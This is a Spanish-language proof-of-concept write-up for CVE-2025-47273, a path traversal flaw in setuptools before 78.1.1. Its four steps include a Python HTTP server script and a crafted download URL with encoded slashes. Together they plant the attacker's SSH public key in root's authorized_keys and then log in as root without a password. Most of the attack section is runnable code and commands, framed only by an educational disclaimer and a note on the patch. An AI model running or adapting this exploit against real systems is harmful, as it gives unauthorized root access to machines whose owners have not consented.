setuptools Recorrido de Rutas CVE-2025-47273

📖 Resumen

Exploit de prueba de concepto para una vulnerabilidad de recorrido de rutas en Python setuptools < 78.1.1.

Al abusar de la función _download_url del componente PackageIndex, un atacante puede escribir archivos arbitrarios en cualquier ubicación del sistema de archivos — con los privilegios del proceso que ejecuta setuptools.

🎯 Resumen de la Vulnerabilidad

📋 Requisitos Previos

• Python 3 en ambas máquinas
• Par de claves SSH ya generado en el atacante (~/.ssh/id_rsa + id_rsa.pub)
• El script objetivo llama a PackageIndex de setuptools con una URL controlada por el usuario

🚀 Uso

🔧 Paso 1 — Preparar tu clave pública SSH (Máquina Atacante)

# Copy your public key to the current directory to serve it
cp ~/.ssh/id_rsa.pub authorized_keys

📡 Paso 2 — Iniciar el servidor HTTP malicioso (Máquina Atacante)

Este servidor responde a cualquier solicitud GET con tu clave pública — sin importar la ruta. setuptools solicitará la ruta /USER/.ssh/authorized_keys pero recibirá el contenido de tu clave.

cat > python_server.py << 'EOF'
import http.server
import socketserver

class Handler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        # Serve authorized_keys regardless of path requested
        self.send_response(200)
        self.end_headers()
        with open("authorized_keys", "rb") as f:
            self.wfile.write(f.read())

with socketserver.TCPServer(("", 80), Handler) as httpd:
    httpd.serve_forever()
EOF

python3 python_server.py

💥 Paso 3 — Desencadenar el recorrido de rutas (Máquina Víctima)

ATTACKER_IP="192.168.1.20"
TARGET_USER="root"

sudo python3 /path/to/vulnerable_script.py \
  "http://${ATTACKER_IP}/%2f${TARGET_USER}%2f.ssh%2fauthorized_keys#egg=evil-1.0"

👾 Paso 4 — Iniciar sesión como root (Máquina Atacante)

ssh root@VICTIM_IP

Sin contraseña. Shell de root directa. 🔑

🔒 Parche

La versión 78.1.1 soluciona el problema.

📎 Referencias

• 🔗 NVD — CVE-2025-47273

• 🔗 GitHub Advisory — GHSA-5rjg-fvgr-3xxf

• 🔗 Commit de Corrección de setuptools

• 🔗 PoC de setuptools

⚖️ Descargo de Responsabilidad y Términos

Este código de Prueba de Concepto (PoC) se proporciona únicamente con fines educativos y de pruebas de penetración autorizadas.

• No se otorga permiso para modificar, redistribuir o usar este código para otros fines.
• El uso o modificación no autorizados pueden ser ilegales y poco éticos.
• Los autores no asumen responsabilidad alguna por cualquier uso indebido o daños.